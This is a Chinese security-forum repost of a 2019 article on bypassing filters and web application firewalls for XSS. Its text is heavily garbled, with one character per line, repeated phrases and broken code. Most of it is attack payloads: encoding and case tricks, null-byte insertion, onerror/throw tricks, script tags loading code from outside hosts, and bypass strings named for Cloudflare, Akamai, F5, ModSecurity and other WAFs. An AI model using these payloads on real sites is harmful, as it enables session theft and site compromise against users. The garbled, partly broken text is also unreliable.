论坛
BBS
空间测绘
发表
发布文章
提问答疑
搜索
您还未登录
登录后即可体验更多功能
立即登录
我的收藏
提问答疑
我要投稿
漏洞
[18865] 2019-05-30_聊聊XSS漏洞（二）
文档创建者：
s7ckTeam
浏览次数：
14
最后更新：
2025-01-18
漏洞
14 人阅读
|
0 人回复
s7ckTeam
s7ckTeam
当前离线
积分
-54
6万
主题
-6万
回帖
-54
积分
管理员
积分
-54
发消息
2019-05-30_聊聊XSS漏洞（二）
聊
聊
X
S
S
漏
洞
（
二
）
c
r
h
u
a
h
u
a
s
e
c
2
0
1
9
-
0
5
-
3
0
“
接
上
一
篇
，
聊
聊
常
规
b
y
p
a
s
s
方
法
”
0
1
—
双
u
r
l
编
码
把
%
u
r
l
编
码
成
%
2
5
，
如
果
后
台
对
参
数
有
再
次
进
行
u
r
l
d
e
c
o
d
e
或
者
输
出
的
时
候
有
u
r
l
d
e
c
o
d
e
就
可
以
绕
过
W
A
F
。
0
2
—
b
a
s
e
6
4
编
码
W
A
F
不
拦
截
<
>
，
但
拦
截
s
c
r
i
p
t
o
n
X
X
X
X
,
用
b
a
s
e
6
4
绕
过
。
如
：
0
3
—
H
T
M
L
实
体
编
码
绕
过
实
体
编
码
一
开
始
是
为
了
避
免
譬
如
在
你
的
双
引
号
中
要
输
入
数
据
中
包
括
双
引
号
导
致
浏
览
器
把
你
输
入
的
引
号
当
作
上
一
个
引
号
的
姐
妹
标
签
而
异
常
闭
合
而
提
出
的
。
p
a
y
l
o
a
d
:
t
i
p
:
（
1
）
其
实
在
标
签
里
的
伪
协
议
j
s
代
码
是
可
以
不
用
用
双
引
号
引
起
来
的
。
<
i
f
r
a
m
e
s
r
c
=
"
d
a
t
a
:
t
e
x
t
/
h
t
m
l
;
b
a
s
e
6
4
,
P
H
N
j
c
m
l
w
d
D
5
h
b
G
V
y
d
C
g
n
Y
m
F
z
Z
T
Y
0
X
2
l
m
c
m
F
t
Z
S
c
p
P
C
9
z
Y
3
J
p
c
H
Q
+
"
>
<
a
h
r
e
f
=
'
j
a
v
a
s
c
r
i
p
t
:
a
l
e
r
t
&
#
4
0
;
&
#
3
9
;
1
2
3
&
#
3
9
;
&
#
4
1
;
'
>
h
e
l
l
o
<
/
a
>
<
a
h
r
e
f
=
"
j
&
#
9
7
;
v
a
s
c
r
i
p
t
:
a
l
e
r
t
&
#
0
0
0
0
0
4
0
;
'
1
2
3
'
&
#
4
1
;
"
>
h
e
l
l
o
<
/
a
>
加
上
e
v
a
l
函
数
后
（
e
v
a
l
认
识
x
十
六
进
制
八
进
制
u
u
n
i
c
o
d
e
编
码
)
（
2
）
如
果
页
面
直
接
显
示
输
入
内
容
，
可
以
先
h
t
m
l
编
码
再
u
r
l
编
码
。
0
4
—
不
带
h
t
t
p
的
p
a
y
l
o
a
d
0
5
—
过
滤
/
s
c
r
i
p
t
0
6
—
利
用
j
a
v
a
s
c
r
i
p
t
大
小
写
绕
过
限
制
<
a
h
r
e
f
=
"
j
&
#
9
7
;
v
a
s
c
r
i
p
t
:
e
v
a
l
(
'
&
#
;
u
0
0
9
1
x
6
5
x
7
2
x
7
4
x
2
8
x
2
2
x
3
1
x
2
2
x
2
9
'
)
"
>
h
e
l
l
o
<
/
a
>
<
s
v
g
o
n
l
o
a
d
=
%
2
6
%
2
3
9
7
%
3
B
%
2
6
%
2
3
1
0
8
%
3
B
%
2
6
%
2
3
1
0
1
%
3
B
%
2
6
%
2
3
1
1
4
%
3
B
%
2
6
%
2
3
1
1
6
%
3
B
(
d
o
c
u
m
e
n
t
.
d
o
m
a
i
n
)
>
<
s
c
r
i
p
t
/
s
r
c
=
t
t
p
s
:
/
/
1
4
.
r
s
>
<
/
s
c
r
i
p
t
>
<
s
c
r
i
p
t
/
s
r
c
=
t
t
p
:
/
/
1
4
.
r
s
>
<
/
s
c
r
i
p
t
>
<
s
c
r
i
p
t
/
s
r
c
=
/
/
1
4
.
r
s
>
<
/
s
c
r
i
p
t
>
<
%
2
f
s
c
r
i
p
t
>
<
%
2
5
2
f
s
c
r
i
p
t
>
<
%
2
5
2
f
S
c
R
i
p
t
>
<
%
2
5
2
f
S
c
r
I
P
t
%
2
0
>
<
%
2
5
2
f
s
C
r
I
p
t
+
i
p
T
%
2
0
>
i
f
(
!
S
t
r
i
n
g
.
f
r
o
m
C
o
d
e
P
o
i
n
t
)
{
(
f
u
n
c
t
i
o
n
(
)
{
v
a
r
d
e
f
i
n
e
P
r
o
p
e
r
t
y
=
(
f
u
n
c
t
i
o
n
(
)
{
/
/
I
E
8
o
n
l
y
s
u
p
p
o
r
t
s
`
O
b
j
e
c
t
.
d
e
f
i
n
e
P
r
o
p
e
r
t
y
`
o
n
D
O
M
e
l
e
m
e
n
t
s
t
r
y
{
v
a
r
o
b
j
e
c
t
=
{
}
;
v
a
r
$
d
e
f
i
n
e
P
r
o
p
e
r
t
y
=
O
b
j
e
c
t
.
d
e
f
i
n
e
P
r
o
p
e
r
t
y
;
v
a
r
r
e
s
u
l
t
=
$
d
e
f
i
n
e
P
r
o
p
e
r
t
y
(
o
b
j
e
c
t
,
o
b
j
e
c
t
,
o
b
j
e
c
t
)
&
&
$
d
e
f
i
n
e
P
r
o
p
e
r
t
y
;
v
a
r
r
e
s
u
l
t
=
$
d
e
f
i
n
e
P
r
o
p
e
r
t
y
(
o
b
j
e
c
t
,
o
b
j
e
c
t
,
o
b
j
e
c
t
)
&
&
$
d
e
f
i
n
e
P
r
o
p
e
r
t
y
;
}
c
a
t
c
h
(
e
r
r
o
r
)
{
}
r
e
t
u
r
n
r
e
s
u
l
t
;
}
(
)
)
;
v
a
r
s
t
r
i
n
g
F
r
o
m
C
h
a
r
C
o
d
e
=
S
t
r
i
n
g
.
f
r
o
m
C
h
a
r
C
o
d
e
;
v
a
r
f
l
o
o
r
=
M
a
t
h
.
f
l
o
o
r
;
v
a
r
f
r
o
m
C
o
d
e
P
o
i
n
t
=
f
u
n
c
t
i
o
n
(
)
{
v
a
r
M
A
X
_
S
I
Z
E
=
0
x
4
0
0
0
;
v
a
r
c
o
d
e
U
n
i
t
s
=
[
]
;
v
a
r
h
i
g
h
S
u
r
r
o
g
a
t
e
;
v
a
r
l
o
w
S
u
r
r
o
g
a
t
e
;
v
a
r
i
n
d
e
x
=
-
1
;
v
a
r
l
e
n
g
t
h
=
a
r
g
u
m
e
n
t
s
.
l
e
n
g
t
h
;
i
f
(
!
l
e
n
g
t
h
)
{
r
e
t
u
r
n
'
'
;
}
v
a
r
r
e
s
u
l
t
=
'
'
;
w
h
i
l
e
(
+
+
i
n
d
e
x
<
l
e
n
g
t
h
)
{
v
a
r
c
o
d
e
P
o
i
n
t
=
N
u
m
b
e
r
(
a
r
g
u
m
e
n
t
s
[
i
n
d
e
x
]
)
;
i
f
(
!
i
s
F
i
n
i
t
e
(
c
o
d
e
P
o
i
n
t
)
|
|
/
/
`
N
a
N
`
,
`
+
I
n
f
i
n
i
t
y
`
,
o
r
`
-
I
n
f
i
n
i
t
y
`
c
o
d
e
P
o
i
n
t
<
0
|
|
/
/
n
o
t
a
v
a
l
i
d
U
n
i
c
o
d
e
c
o
d
e
p
o
i
n
t
c
o
d
e
P
o
i
n
t
>
0
x
1
0
F
F
F
F
|
|
/
/
n
o
t
a
v
a
l
i
d
U
n
i
c
o
d
e
c
o
d
e
p
o
i
n
t
f
l
o
o
r
(
c
o
d
e
P
o
i
n
t
)
!
=
c
o
d
e
P
o
i
n
t
/
/
n
o
t
a
n
i
n
t
e
g
e
r
)
{
t
h
r
o
w
R
a
n
g
e
E
r
r
o
r
(
'
I
n
v
a
l
i
d
c
o
d
e
p
o
i
n
t
:
'
+
c
o
d
e
P
o
i
n
t
)
;
}
i
f
(
c
o
d
e
P
o
i
n
t
<
=
0
x
F
F
F
F
)
{
/
/
B
M
P
c
o
d
e
p
o
i
n
t
c
o
d
e
U
n
i
t
s
.
p
u
s
h
(
c
o
d
e
P
o
i
n
t
)
;
}
e
l
s
e
{
/
/
A
s
t
r
a
l
c
o
d
e
p
o
i
n
t
;
s
p
l
i
t
i
n
s
u
r
r
o
g
a
t
e
h
a
l
v
e
s
/
/
h
t
t
p
:
/
/
m
a
t
h
i
a
s
b
y
n
e
n
s
.
b
e
/
n
o
t
e
s
/
j
a
v
a
s
c
r
i
p
t
-
e
n
c
o
d
i
n
g
#
s
u
r
r
o
g
a
t
e
-
f
o
r
m
u
l
a
e
c
o
d
e
P
o
i
n
t
-
=
0
x
1
0
0
0
0
;
h
i
g
h
S
u
r
r
o
g
a
t
e
=
(
c
o
d
e
P
o
i
n
t
>
>
1
0
)
+
0
x
D
8
0
0
;
l
o
w
S
u
r
r
o
g
a
t
e
=
(
c
o
d
e
P
o
i
n
t
%
0
x
4
0
0
)
+
0
x
D
C
0
0
;
c
o
d
e
U
n
i
t
s
.
p
u
s
h
(
h
i
g
h
S
u
r
r
o
g
a
t
e
,
l
o
w
S
u
r
r
o
g
a
t
e
)
;
}
i
f
(
i
n
d
e
x
+
1
=
=
l
e
n
g
t
h
|
|
c
o
d
e
U
n
i
t
s
.
l
e
n
g
t
h
>
M
A
X
_
S
I
Z
E
)
{
r
e
s
u
l
t
+
=
s
t
r
i
n
g
F
r
o
m
C
h
a
r
C
o
d
e
.
a
p
p
l
y
(
n
u
l
l
,
c
o
d
e
U
n
i
t
s
)
;
c
o
d
e
U
n
i
t
s
.
l
e
n
g
t
h
=
0
;
}
}
r
e
t
u
r
n
r
e
s
u
l
t
;
}
;
i
f
(
d
e
f
i
n
e
P
r
o
p
e
r
t
y
)
{
d
e
f
i
n
e
P
r
o
p
e
r
t
y
(
S
t
r
i
n
g
,
'
f
r
o
m
C
o
d
e
P
o
i
n
t
'
,
{
'
v
a
l
u
e
'
:
f
r
o
m
C
o
d
e
P
o
i
n
t
,
'
c
o
n
f
i
g
u
r
a
b
l
e
'
:
t
r
u
e
,
'
w
r
i
t
a
b
l
e
'
:
t
r
u
e
}
)
;
}
e
l
s
e
{
S
t
r
i
n
g
.
f
r
o
m
C
o
d
e
P
o
i
n
t
=
f
r
o
m
C
o
d
e
P
o
i
n
t
;
}
运
行
后
：
其
中
混
入
了
两
个
奇
特
的
字
符
"
?
"
、
"
?
"
。
这
两
个
字
符
的
“
大
写
”
是
I
和
S
。
也
就
是
说
"
?
"
.
t
o
U
p
p
e
r
C
a
s
e
(
)
=
=
'
I
'
，
"
?
"
.
t
o
U
p
p
e
r
C
a
s
e
(
)
=
=
'
S
'
。
通
过
这
个
小
特
性
可
以
绕
过
一
些
限
制
。
0
7
—
}
(
)
)
;
}
f
o
r
(
v
a
r
j
=
'
A
'
.
c
h
a
r
C
o
d
e
A
t
(
)
;
j
<
=
'
Z
'
.
c
h
a
r
C
o
d
e
A
t
(
)
;
j
+
+
)
{
v
a
r
s
=
S
t
r
i
n
g
.
f
r
o
m
C
o
d
e
P
o
i
n
t
(
j
)
;
f
o
r
(
v
a
r
i
=
0
;
i
<
0
x
1
0
F
F
F
F
;
i
+
+
)
{
v
a
r
e
=
S
t
r
i
n
g
.
f
r
o
m
C
o
d
e
P
o
i
n
t
(
i
)
;
i
f
(
s
=
=
e
.
t
o
U
p
p
e
r
C
a
s
e
(
)
&
&
s
!
=
e
)
{
d
o
c
u
m
e
n
t
.
w
r
i
t
e
(
"
c
h
a
r
:
"
+
e
+
"
<
b
r
/
>
"
)
;
}
;
}
;
}
c
h
a
r
:
a
c
h
a
r
:
b
c
h
a
r
:
c
c
h
a
r
:
d
c
h
a
r
:
e
c
h
a
r
:
f
c
h
a
r
:
g
c
h
a
r
:
h
c
h
a
r
:
i
c
h
a
r
:
?
c
h
a
r
:
j
c
h
a
r
:
k
c
h
a
r
:
l
c
h
a
r
:
m
c
h
a
r
:
n
c
h
a
r
:
o
c
h
a
r
:
p
c
h
a
r
:
q
c
h
a
r
:
r
c
h
a
r
:
s
c
h
a
r
:
?
c
h
a
r
:
t
c
h
a
r
:
u
c
h
a
r
:
v
c
h
a
r
:
w
c
h
a
r
:
x
c
h
a
r
:
y
c
h
a
r
:
z
过
滤
括
号
当
括
号
被
过
滤
的
时
候
可
以
使
用
t
h
r
o
w
来
绕
过
。
0
8
—
利
用
0
字
节
绕
过
0
9
—
利
用
a
s
c
i
i
编
码
绕
过
利
用
其
它
利
用
其
它
a
s
c
i
i
码
绕
过
，
正
则
表
达
式
中
码
绕
过
，
正
则
表
达
式
中
w
是
无
法
匹
配
到
的
是
无
法
匹
配
到
的
1
0
—
先
拆
分
再
组
合
1
1
—
<
a
o
n
m
o
u
s
e
o
v
e
r
=
"
j
a
v
a
s
c
r
i
p
t
:
w
i
n
d
o
w
.
o
n
e
r
r
o
r
=
a
l
e
r
t
;
t
h
r
o
w
1
>
<
i
m
g
s
r
c
=
x
o
n
e
r
r
o
r
=
"
j
a
v
a
s
c
r
i
p
t
:
w
i
n
d
o
w
.
o
n
e
r
r
o
r
=
a
l
e
r
t
;
t
h
r
o
w
1
"
>
<
s
c
r
i
%
0
0
p
t
>
a
l
e
r
t
(
1
)
;
<
/
s
c
r
i
%
0
0
p
t
>
<
s
c
r
i
x
0
0
p
t
>
a
l
e
r
t
(
1
)
;
<
/
s
c
r
i
%
0
0
p
t
>
<
s
%
0
0
c
%
0
0
r
%
0
0
%
0
0
i
p
%
0
0
t
>
c
o
n
f
i
r
m
(
0
)
;
<
/
s
%
0
0
c
%
0
0
r
%
0
0
%
0
0
i
p
%
0
0
t
>
<
i
m
g
/
/
μ
s
r
c
=
x
o
n
e
r
r
o
r
=
a
l
e
r
t
(
1
)
/
/
>
<
i
m
g
s
r
c
=
x
1
7
x
1
7
o
n
e
r
r
o
r
=
a
l
e
r
t
(
1
)
/
/
>
<
i
m
g
/
%
2
0
s
r
c
=
%
1
7
y
%
1
7
o
n
e
r
r
o
r
=
%
C
2
%
A
0
a
l
e
r
t
(
1
)
/
/
>
<
s
c
r
i
p
t
>
v
a
r
a
=
’
h
'
;
v
a
r
b
=
’
:
/
/
’
;
d
o
c
u
m
e
n
t
.
w
r
i
t
e
(
‘
<
s
c
r
i
p
t
s
r
c
=
”
‘
+
a
+
’
t
t
p
’
+
b
+
’
x
s
s
.
t
w
/
x
x
x
”
>
<
/
s
c
r
i
p
t
>
’
)
;
<
/
s
c
r
i
p
t
>
过
滤
括
号
和
分
号
第
一
种
方
法
非
常
简
单
：
你
可
以
使
用
花
括
号
来
进
行
语
句
隔
离
，
将
整
体
放
入
花
括
号
中
。
这
样
就
避
免
了
使
用
分
号
：
1
2
—
常
见
的
w
a
f
b
y
p
a
s
s
1
3
—
总
结
o
n
e
r
r
o
r
<
s
c
r
i
p
t
>
{
o
n
e
r
r
o
r
=
a
l
e
r
t
}
t
h
r
o
w
1
3
3
7
<
/
s
c
r
i
p
t
>
W
A
F
名
称
：
C
l
o
u
d
f
l
a
r
e
P
a
y
l
o
a
d
：
<
a
”
/
o
n
c
l
i
c
k
=
(
c
o
n
f
i
r
m
)
(
)
>
c
l
i
c
k
绕
过
技
术
：
非
空
格
填
充
W
A
F
名
称
：
W
o
r
d
f
e
n
c
e
P
a
y
l
o
a
d
：
<
a
/
h
r
e
f
=
j
a
v
a
s
c
r
i
p
t
&
c
o
l
o
n
;
a
l
e
r
t
(
)
>
c
l
i
c
k
绕
过
技
术
：
数
字
字
符
编
码
W
A
F
名
称
：
B
a
r
r
a
c
u
d
a
P
a
y
l
o
a
d
：
<
a
/
h
r
e
f
=
&
#
7
4
;
a
v
a
%
0
a
%
0
d
%
0
9
s
c
r
i
p
t
&
c
o
l
o
n
;
a
l
e
r
t
(
)
>
c
l
i
c
k
绕
过
技
术
：
数
字
字
符
编
码
W
A
F
名
称
：
A
k
a
m
a
i
P
a
y
l
o
a
d
：
<
d
3
v
/
o
n
a
u
x
c
l
i
c
k
=
[
2
]
.
s
o
m
e
(
c
o
n
f
i
r
m
)
>
c
l
i
c
k
绕
过
技
术
：
黑
名
单
中
缺
少
事
件
处
理
器
以
及
函
数
调
用
混
淆
W
A
F
名
称
：
C
o
m
o
d
o
P
a
y
l
o
a
d
：
<
d
3
v
/
o
n
a
u
x
c
l
i
c
k
=
(
(
(
c
o
n
f
i
r
m
)
)
)
“
>
c
l
i
c
k
绕
过
技
术
：
黑
名
单
中
缺
少
事
件
处
理
器
以
及
函
数
调
用
混
淆
W
A
F
名
称
：
F
5
P
a
y
l
o
a
d
：
<
d
3
v
/
o
n
m
o
u
s
e
l
e
a
v
e
=
[
2
]
.
s
o
m
e
(
c
o
n
f
i
r
m
)
>
c
l
i
c
k
绕
过
技
术
：
黑
名
单
中
缺
少
事
件
处
理
器
以
及
函
数
调
用
混
淆
W
A
F
名
称
：
M
o
d
S
e
c
u
r
i
t
y
P
a
y
l
o
a
d
：
<
d
e
t
a
i
l
s
/
o
p
e
n
/
o
n
t
o
g
g
l
e
=
a
l
e
r
t
(
)
>
绕
过
技
术
：
黑
名
单
中
缺
少
标
签
或
事
件
处
理
器
W
A
F
名
称
：
d
o
t
d
e
f
e
n
d
e
r
P
a
y
l
o
a
d
：
<
d
e
t
a
i
l
s
/
o
p
e
n
/
o
n
t
o
g
g
l
e
=
(
c
o
n
f
i
r
m
)
(
)
/
/
一
直
说
理
论
肯
定
有
些
枯
燥
，
明
天
更
新
相
关
案
例
，
未
完
待
续
。
。
。
回复
举报
上一个主题
下一个主题
高级模式
B
Color
Image
Link
Quote
Code
Smilies
您需要登录后才可以回帖
登录
|
立即注册
本版积分规则
发表回复
!disable!!post_parseurl!
使用Markdown编辑器编辑
使用富文本编辑器编辑
回帖后跳转到最后一页
发表
漏洞